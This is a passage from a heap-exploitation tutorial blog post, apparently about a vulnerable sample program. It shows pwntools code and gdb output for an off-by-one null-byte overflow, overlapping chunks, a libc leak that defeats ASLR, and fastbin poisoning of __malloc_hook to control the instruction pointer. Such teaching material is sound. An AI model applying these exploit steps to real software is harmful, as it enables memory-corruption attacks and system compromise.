srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_09.png 795w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_09-300x144.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_09-768x368.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>In other words: fastbins are treated as <i>last in, first out<\/i> (<i>LIFO<\/i>):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_10.png\" alt=\"\" width=\"854\" height=\"142\" class=\"alignnone size-full wp-image-796\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_10.png 854w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_10-300x50.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_10-768x128.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>After this short recap of some heap basics we are now set to start developing our exploit.<\/p>\n<p>Because ASLR is enabled and we do not know any libc-address, let&#8217;s start by leaking one.<\/p>\n<hr \/>\n<h2 id=\"libc\">Libc-Leak<\/h2>\n<p>In order to leak a libc-address through a heap-based vulnerability we can leverage the fact, that the <code>FD<\/code> and <code>BK<\/code> of a free chunk at the head or tail of a bin contains libc-addresses of the main arena. If the program would be affected by an <i>Use After Free<\/i> (<i>UAF<\/i>) vulnerability, we could just free a chunk and then print its data. Since the first 8 bytes of data are the <code>FD<\/code>, we would get a libc-address right away. As the sample program does not contain an UAF vulnerability and we can only overflow a chunk with a single null-byte, we have to get a little bit more creative.<\/p>\n<p>A common goal to achieve a <i>UAF<\/i> like state is to create <b>overlapping chunks<\/b>. If the heap-metadata gets corrupted in such a way that two chunks are overlapping in memory, we can free one chunk (which now contains libc-addresses) and then use the other chunk to print those addresses.<\/p>\n<p>Let&#8217;s begin by determining what we can overwrite with the single null-byte. In order to do so we review the example from above, in which we allocated two chunks:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-1.png\" alt=\"\" width=\"675\" height=\"372\" class=\"alignnone size-full wp-image-712\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-1.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-1-300x165.png 300w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>As we can see the lowest byte of the <code>size+flags<\/code> field of chunk2 will be overwritten, when we overflow chunk1 with a single null-byte. In this case the value <code>0x31<\/code>, which represents the size of chunk2 (<code>0x30<\/code>) as well as the enabled <code>previous chunk in use<\/code> flag (<code>0x1<\/code>), would be set to <code>0x00<\/code>. This will likely crash the program, because the heap-metadata are not valid anymore (a chunk cannot have a size of <code>0x00<\/code>). But let&#8217;s consider what is happening, if chunk2 has a size of <code>0x100<\/code>:<\/p>\n<pre class=\"brush: cpp; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\n...\r\n  char *ptr = malloc(0x88);\r\n  char *ptr2 = malloc(0xf8);\r\n  for (int i = 0; i &lt; 0x88; i++) ptr&#x5B;i] = 'A';\r\n...\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-2.png\" alt=\"\" width=\"675\" height=\"600\" class=\"alignnone size-full wp-image-713\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-2.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-2-300x267.png 300w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>When we are overflowing chunk1 now, the size of chunk2 (<code>0x100<\/code>) is not altered, since it is only stored within the second lowest byte. The only thing being altered is the <code>previous chunk in use<\/code> flag, which is set from <code>0x1<\/code> to <code>0x0<\/code>. This means that we can clear the flag without corrupting any other heap-metadata.<\/p>\n<p>What can we do by clearing the <code>previous chunk in use<\/code> flag? The purpose of the flag is make it possible to consolidate adjacent free chunks. If there is a free chunk on the heap and the chunk right after this free chunk is also free, those two free chunks can be combined to a big free chunk. This way heap-fragmentation can be avoided (if there wouldn&#8217;t be chunks in fastbin-size, which are not consolidated). When a chunk is free&#8217;d, the libc checks if the <code>previous chunk in use<\/code> flag is set. If it is not, the chunk, which is supposed to be free&#8217;d, is consolidated with the precending free chunk. By clearing the <code>previous chunk in use<\/code> flag we can trick the libc into consolidating a free chunk with an actually allocated chunk, which precedes the free chunk.<\/p>\n<p>If we would just take our example from above, clear the <code>previous chunk in use<\/code> flag of chunk2 and then try to free chunk2 in order to trick the libc into consolidating both chunks, the program would simply crash. Why that? Well, chunk1 will be treated as a free chunk. This means that the <code>previous size<\/code> field of chunk1 should contain a valid value and &#8211; even more harder to fake &#8211; the <code>FD<\/code> and <code>BK<\/code> pointers should be set appropriately. But don&#8217;t worry! With a little bit more work we can achieve our goal to create two overlapping chunks.<\/p>\n<p>At this point we start working on the actual vulnerable sample program. At first I created a few helper-functions to create, delete and prints chunks using a python-script:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python\r\n\r\nfrom pwn import *\r\n\r\np = process('.\/heap')\r\n\r\ndef create(size, data):\r\n  p.sendlineafter('&gt;', str(1))\r\n  p.sendlineafter('size: ', str(size))\r\n  p.sendlineafter('data: ', data)\r\n\r\ndef delete(idx):\r\n  p.sendlineafter('&gt;', str(2))\r\n  p.sendlineafter('idx: ', str(idx))\r\n\r\ndef printData(idx):\r\n  p.sendlineafter('&gt;', str(3))\r\n  p.sendlineafter('idx: ', str(idx))\r\n  p.recvuntil('data: ')\r\n  ret = p.recvuntil('\\n')\r\n  return ret&#x5B;:-1]\r\n<\/pre>\n<p>In order to create the overlapping chunks, we allocate four chunks at first:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\ncreate(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0\r\ncreate(0x68, 'B'*0x68) # chunk_BBB, idx = 1\r\ncreate(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2\r\ncreate(0x10, 'D'*0x10) # chunk_DDD, idx = 3\r\n<\/pre>\n<p><i><u>Side note:<\/u> For debugging purpose I consider it easier to disable ASLR and just keep in mind, that I actually don&#8217;t know any address. This way the heap addresses will stay constant, which makes printing a little bit more handy.<\/i><\/p>\n<p>So let&#8217;s have a look at the heap after the allocation of the four chunks:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-3.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-714\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-3.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-3-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>Each chunk will serve a different purpose. Here is just a quick overview:<\/p>\n<ul>\n<li><code><b>chunk_AAA<\/b><\/code> will be free&#8217;d to become a valid free chunk.<\/li>\n<li><code><b>chunk_BBB<\/b><\/code> will be used to trigger the off-by-one vulnerability overflowing into <code>chunk_CCC<\/code>. We will also set the <code>previous size<\/code> field of <code>chunk_CCC<\/code> to the size of <code>chunk_AAA + chunk_BBB<\/code>. <code>chunk_BBB<\/code> will be one of the overlapping chunks.<\/li>\n<li><code><b>chunk_CCC<\/b><\/code>&#8216;s <code>previous chunk in use<\/code> flag will be cleared by the overflow. We will then free the chunk so that it will be consolidated with <code>chunk_AAA<\/code>. This big free chunk will overlap with <code>chunk_BBB<\/code>.<\/li>\n<li><code><b>chunk_DDD<\/b><\/code> is a fastbin-size chunk with the sole purpose to prevent consolidation with the top of the heap.<\/li>\n<\/ul>\n<p>Let&#8217;s carry out the mentioned actions step by step. At first we free <code>chunk_AAA<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# chunk_AAA will be a valid free chunk (containing libc-addresses in FD\/BK)\r\ndelete(0)\r\n<\/pre>\n<p>Then we trigger the off-by-one vulnerability by overflowing <code>chunk_BBB<\/code> in order to clear the <code>previous chunk in use<\/code> flag of <code>chunk_CCC<\/code>. Because the size of <code>chunk_BBB<\/code> is in fastbin range, it will not be consolidated but rather put as a free chunk in the corresponding fastbin. When we reallocate a chunk with the same size, it will be stored at the exact same location.<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# leverage off-by-one vuln in chunk_BBB:\r\n# overwrite prev_inuse bit of following chunk (chunk_CCC)\r\ndelete(1)\r\ncreate(0x68, 'B'*0x68) # chunk_BBB, new idx = 0\r\n<\/pre>\n<p>After the <code>previous chunk in use<\/code> flag of <code>chunk_CCC<\/code> has been cleared, we also have to set the <code>previous size<\/code> field of <code>chunk_CCC<\/code> to the size of <code>chunk_AAA + chunk_BBB<\/code>, which is <code>0x170<\/code>. Unfortunately we cannot insert null-bytes in the data because <code>strcpy<\/code> is used, which will terminate on a null-byte. To insert null-bytes anyway, we simply reduce the data-length byte-by-byte. The appended null-byte at the end of the string will serve our purpose:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# set prev_size of following chunk (chunk_CCC) to 0x170\r\nfor i in range(0x66, 0x5f, -1):\r\n  delete(0)\r\n  create(i+2, 'B'*i + '\\x70\\x01') # chunk_BBB, new_idx = 0\r\n<\/pre>\n<p>Let&#8217;s have a look at the heap after these steps:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-4.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-715\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-4.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-4-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>When we now free <code>chunk_CCC<\/code> it gets consolidated with the previous chunk, which is assumed to be 0x170 bytes large, because we faked the <code>previous size<\/code> field of <code>chunk_CCC<\/code>.<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# now delete chunk_CCC to trigger consolidation with the fakechunk (0x170)\r\n# after this we have got a big free chunk (0x270) overlapping with chunk_BBB\r\ndelete(2)\r\n<\/pre>\n<p>The result is a big free chunk overlapping with <code>chunk_BBB<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-5.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-716\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-5.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-5-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>Now we only need to allocate a chunk with the same size of the original <code>chunk_AAA<\/code> (<code>0x100<\/code>) in order to align the big free chunk with <code>chunk_BBB<\/code> and thus store the <code>FD<\/code> and <code>BK<\/code> at the beginning of <code>chunk_BBB<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# create a new chunk (chunk_EEE) within the big free chunk to push\r\n# the libc-addresses (fd\/bk) down to chunk_BBB\r\ncreate(0xf6, 'E'*0xf6) # chunk_EEE, new_idx = 1\r\n<\/pre>\n<p>Notice that I chose <code>0xf6<\/code> instead of <code>0xf8<\/code> for the size to prevent triggering the off-by-one vulnerability again.<\/p>\n<p>The <code>FD<\/code> and <code>BK<\/code> of the big free chunk are now aligned with <code>chunk_BBB<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-6.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-717\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-6.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-6-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>So we merely need to print <code>chunk_BBB<\/code> (<code>index 0<\/code>):<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# the content of chunk_BBB now contains fd\/bk (libc-addresses)\r\n# just print the chunk (idx = 0)\r\nlibc_offset    = 0x3c4b78\r\nlibc_leak = printData(0)\r\nlibc_leak = unpack(libc_leak + (8-len(libc_leak))*'\\x00', 64)\r\nlibc_base = libc_leak - libc_offset\r\nlog.info('libc_base: ' + hex(libc_base))\r\n<\/pre>\n<p>The offset <code>libc_offset<\/code> can be easily calculated using <code>gdb<\/code>. The script now yields the libc base-address and we have thus defeated ASLR:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5,9,13]; title: ; notranslate\" title=\"\">\r\nxerus@xerus:~\/pwn\/heap$ echo 2 | sudo tee \/proc\/sys\/kernel\/randomize_va_space \r\n2\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n&#x5B;+] Starting local process '.\/heap': pid 5053\r\n&#x5B;*] libc_base: 0x7f8482a13000\r\n&#x5B;*] Stopped process '.\/heap' (pid 5053)\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n&#x5B;+] Starting local process '.\/heap': pid 5057\r\n&#x5B;*] libc_base: 0x7f28f53ef000\r\n&#x5B;*] Stopped process '.\/heap' (pid 5057)\r\nxerus@xerus:~\/pwn\/heap$ .\/exploit.py \r\n&#x5B;+] Starting local process '.\/heap': pid 5061\r\n&#x5B;*] libc_base: 0x7f784c1c6000\r\n&#x5B;*] Stopped process '.\/heap' (pid 5061)\r\n<\/pre>\n<p>After successfully leaking the libc base-address we can calculate all addresses of interest. But the most important step is still missing: controlling the instruction pointer.<\/p>\n<hr \/>\n<h2 id=\"rip\">Control Instruction Pointer<\/h2>\n<p>When considering how to the control the instruction pointer, there is yet again a great difference between stack- and heap-based exploits. The classical method on the stack is to overwrite the return address being stored there. On the heap there is no return address. It might be the case that function pointers of more complex objects  (<code>struct<\/code> \/ <code>class<\/code>) are stored on the heap, which can be overwritten to directly control the instruction pointer, but this is not the case with our sample program. Instead we will stick to a common technique when exploiting heap-based vulnerabilites, which basically works like this:<\/p>\n<ul>\n<li>Use the vulnerability to insert an address of our choice as a free chunk into a bin\/fastbin.<\/li>\n<li>Allocate a chunk which fits the size of this bin\/fastbin. The allocation will return the inserted address (+ 0x10).<\/li>\n<li>Write data of our choice into the allocated chunk. This will end up at the inserted address (+ 0x10).<\/li>\n<\/ul>\n<p>This way we can write arbitrary data to an address of our choice. Nevertheless there are some constraints as we will see later. For now it is only important that we are going to use a fastbin. Ultimately we simply want to overwrite some function pointer and do not need to write a hug amount of data, so the size of a fastbin will suffice. Also fastbins only use the forward pointer <code>FD<\/code>, which makes it easier as we will see.<\/p>\n<p>Let&#8217;s begin by determining how we can insert an address to a fastbin. As we have already seen, a fastbin is a singly linked list, whose head pointer is stored in the main arena. This head pointer references the first free chunk. The address of the second free chunk is stored in the <code>FD<\/code> of the first free chunk and so forth. If we manage to overwrite the <code>FD<\/code> of a free chunk, we effectively add a free <code>fakechunk<\/code> to the fastbin:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_11.png\" alt=\"\" width=\"574\" height=\"365\" class=\"alignnone size-full wp-image-804\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_11.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_11-300x191.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>On the next allocation the free chunk at the head of the fastbin is returned:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_12.png\" alt=\"\" width=\"574\" height=\"365\" class=\"alignnone size-full wp-image-805\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_12.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_12-300x191.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>The fakechunk is now the new head of the fastbin and is thus returned on the following allocation:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_13.png\" alt=\"\" width=\"574\" height=\"365\" class=\"alignnone size-full wp-image-806\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_13.png 574w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_13-300x191.png 300w\" sizes=\"(max-width: 574px) 100vw, 574px\" \/><\/p>\n<p>Since we already have two overlapping chunks, we can use this to overwrite the <code>FD<\/code> of a free fastbin-chunk. At first we need to clean up a little bit from the libc-leak:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# restore the size field (0x70) of chunk_BBB\r\nfor i in range(0xfd, 0xf7, -1):\r\n  delete(1)\r\n  create(i+1, 'E'*i + '\\x70') # chunk_EEE, new_idx = 1\r\n\r\n# free chunk_BBB: the address of the chunk is added to the fastbin-list\r\ndelete(0)\r\n\r\n# free chunk_EEE\r\ndelete(1)\r\n<\/pre>\n<p>We restored the <code>size+flags<\/code> field of <code>chunk_BBB<\/code> and deleted both <code>chunk_BBB<\/code> and <code>chunk_EEE<\/code>. Now the heap looks like this (for debugging I turned ASLR off again):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-7.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-735\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-7.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-7-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>The main arena now contains the address of the free&#8217;d <code>chunk_BBB<\/code> (<code>0x604110<\/code>):<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p main_arena \r\n$1 = {\r\n  mutex = 0x0, \r\n  flags = 0x0, \r\n  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x604110, 0x0, 0x0, 0x0, 0x0}, \r\n  top = 0x6042a0, \r\n  last_remainder = 0x604120, \r\n  bins = {0x604010, 0x604010, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, \r\n    0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1ba8 &lt;main_arena+136&gt;, \r\n    0x7ffff7dd1ba8 &lt;main_arena+136&gt;, 0x7ffff7dd1bb8 &lt;main_arena+152&gt;, 0x7ffff7dd1bb8 &lt;main_arena+152&gt;, \r\n...\r\n<\/pre>\n<p>This means our fastbin currenty looks like this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_14.png\" alt=\"\" width=\"430\" height=\"270\" class=\"alignnone size-full wp-image-807\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_14.png 430w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_14-300x188.png 300w\" sizes=\"(max-width: 430px) 100vw, 430px\" \/> <\/p>\n<p>We can now simply allocate a chunk in the big free chunk to overwrite the <code>FD<\/code> of the free&#8217;d <code>chunk_BBB<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# create another new chunk (chunk_FFF) within the big free chunk which\r\n# will set the fd of the free'd fastbin chunk_BBB to the value of foo\r\nfoo = 0xdeadbeef\r\ncreate(0x108, 'F'*0x100 + p64(foo)) # new_idx = 0\r\n<\/pre>\n<p>The <code>FD<\/code> is overwritten with the value of our choice:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-8.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-736\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-8.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-8-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>By adjusting the <code>FD<\/code> the fastbin now looks like this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_15.png\" alt=\"\" width=\"495\" height=\"277\" class=\"alignnone size-full wp-image-808\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_15.png 495w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/mainarena_15-300x168.png 300w\" sizes=\"(max-width: 495px) 100vw, 495px\" \/><\/p>\n<p>The libc is constantley being hardened against attacks in the form of additional security checks. This means in our case that <code>malloc<\/code> will check if the address <code>0xdeadbeef<\/code> actually contains a valid free chunk with the appropriate size before returning this address. Since <code>chunk_BBB<\/code> had a size of 0x70, this is also the size a free chunk within this fastbin must have. The four lower bits are not evaluated, which means that a value in the range from <code>0x70<\/code> to <code>0x7f<\/code> is considered valid. Accordingly the data at <code>0xdeadbeef<\/code> should look like this:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-9.png\" alt=\"\" width=\"600\" height=\"120\" class=\"alignnone size-full wp-image-740\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-9.png 600w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-9-300x60.png 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>Luckily the libc contains a spot which fits our needs: A quadword (8 byte), which contains the value <code>0x000000000000007f<\/code> and thus can be used as the <code>size+flags<\/code> field and a function pointer following a few bytes ahead after this quadword, which can be overwritten and triggered to control the instruction pointer.<\/p>\n<p>Namely this function pointer is the <code>__malloc_hook<\/code>. When <code>__malloc_hook<\/code> contains a value unequal to null, this value is supposed to be a function pointer. On every call to <code>malloc<\/code> the function being referenced by <code>__malloc_hook<\/code> is called. By default <code>__malloc_hook<\/code> is null:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/xg &amp;__malloc_hook\r\n0x7ffff7dd1b10 &lt;__malloc_hook&gt;:\t0x0000000000000000\r\n<\/pre>\n<p>As stated above, we can find a quadword containing the value <code>0x000000000000007f<\/code> a few bytes before <code>__malloc_hook<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-10.png\" alt=\"\" width=\"775\" height=\"250\" class=\"alignnone size-full wp-image-743\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-10.png 775w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-10-300x97.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-10-768x248.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Now we only need to calculate the offset &#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [10,13]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ i proc mappings \r\nprocess 8818\r\nMapped address spaces:\r\n\r\n          Start Addr           End Addr       Size     Offset objfile\r\n            0x400000           0x401000     0x1000        0x0 \/home\/xerus\/pwn\/heap\/dev\/heap\r\n            0x601000           0x602000     0x1000     0x1000 \/home\/xerus\/pwn\/heap\/dev\/heap\r\n            0x602000           0x603000     0x1000     0x2000 \/home\/xerus\/pwn\/heap\/dev\/heap\r\n            0x603000           0x625000    0x22000        0x0 &#x5B;heap]\r\n      0x7ffff7a0d000     0x7ffff7bcd000   0x1c0000        0x0 \/lib\/x86_64-linux-gnu\/libc-2.23.so\r\n...\r\ngdb-peda$ p 0x7ffff7dd1aed - 0x7ffff7a0d000\r\n$1 = 0x3c4aed\r\n<\/pre>\n<p>&#8230; and use our previously leaked libc base-address to overwrite the <code>FD<\/code> of the free&#8217;d <code>chunk_BBB<\/code> with the resulting address instead of <code>0xdeadbeef<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# create another new chunk (chunk_FFF) within the big free chunk which\r\n# will set the fd of the free'd fastbin chunk_BBB to the address of hook\r\nhook_offset = 0x3c4aed\r\nhook        = libc_base + hook_offset\r\ncreate(0x108, 'F'*0x100 + p64(hook)) # new_idx = 0\r\n<\/pre>\n<p>A quick glance at the heap shows that the <code>FD<\/code> is now set to <code>0x7ffff7dd1aed<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-11.png\" alt=\"\" width=\"675\" height=\"830\" class=\"alignnone size-full wp-image-744\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-11.png 675w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/08\/dev-11-244x300.png 244w\" sizes=\"(max-width: 675px) 100vw, 675px\" \/><\/p>\n<p>At next we need to do a little bit cleanup again and restore the <code>size+flags<\/code> field of the free&#8217;d <code>chunk_BBB<\/code>:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# restore the size field (0x70) of the free'd chunk_BBB\r\nfor i in range(0xfe, 0xf7, -1):\r\n  delete(0)\r\n  create(i+8, 'F'*i + p64(0x70)) # new_idx = 0\r\n<\/pre>\n<p>Then we can recreate the chunk:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# now recreate chunk_BBB\r\n# -&gt; this will add the address in fd (hook) to the fastbin-list\r\ncreate(0x68, 'B'*0x68)\r\n<\/pre>\n<p>Our allocation fits the size of the fastbin where the formerly free&#8217;d <code>chunk_BBB<\/code> has been stored. When the free chunk is returned from the fastbin, the libc checks if the <code>FD<\/code> of the free chunk contains another free chunk. That is the case since we have overwritten the <code>FD<\/code>. This address is now the new head of the fastbin:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p main_arena \r\n$1 = {\r\n  mutex = 0x0, \r\n  flags = 0x0, \r\n  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7dd1aed &lt;_IO_wide_data_0+301&gt;, 0x0, 0x0, 0x0, 0x0}, \r\n  top = 0x6042a0, \r\n  last_remainder = 0x604120, \r\n  bins = {0x604120, 0x604120, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, 0x7ffff7dd1b88 &lt;main_arena+104&gt;, 0x7ffff7dd1b98 &lt;main_arena+120&gt;, \r\n    0x7ffff7dd1b98 &lt;main_arena+120&gt;, 0x7ffff7dd1ba8 &lt;main_arena+136&gt;, 0x7ffff7dd1ba8 &lt;main_arena+136&gt;, 0x7ffff7dd1bb8 &lt;main_arena+152&gt;, \r\n    0x7ffff7dd1bb8 &lt;main_arena+152&gt;, 0x7ffff7dd1bc8 &lt;main_arena+168&gt;, 0x7ffff7dd1bc8 &lt;main_arena+168&gt;, 0x7ffff7dd1bd8 &lt;main_arena+184&gt;, \r\n...\r\n<\/pre>\n<p>The next allocation with a size equal to the fastbin-size (<code>0x70<\/code>) will return the address <code>0x7ffff7dd1aed + 0x10<\/code>. At offset <code>+0x13<\/code> the <code>__malloc_hook<\/code> is stored. If we put an address of our choice there and do another allocation (call to <code>malloc<\/code>), this address is called:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# the next allocation with a size equal to chunk_BBB (0x70 = fastbin)\r\n# will return the address of hook from the fastbin-list\r\nfoo = 0xb00bb00b\r\ncreate(0x68, 0x13*'G'+p64(foo)+0x4d*'G')\r\n<\/pre>\n<p>After verifying that the <code>__malloc_hook<\/code> was set &#8230;<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ x\/xg &amp;__malloc_hook\r\n0x7ffff7dd1b10 &lt;__malloc_hook&gt;:\t0x00000000b00bb00b\r\n<\/pre>\n<p>&#8230; we can trigger the hook by an arbitrary allocation:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n# since __malloc_hook is set now, the next call to malloc will\r\n# call the address stored there (foo)\r\ncreate(0x20, 'trigger __malloc_hook')\r\n<\/pre>\n<p>We get a segmentation fault and successfully control the instruction pointer:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,12,23]; title: ; notranslate\" title=\"\">\r\nProgram received signal SIGSEGV, Segmentation 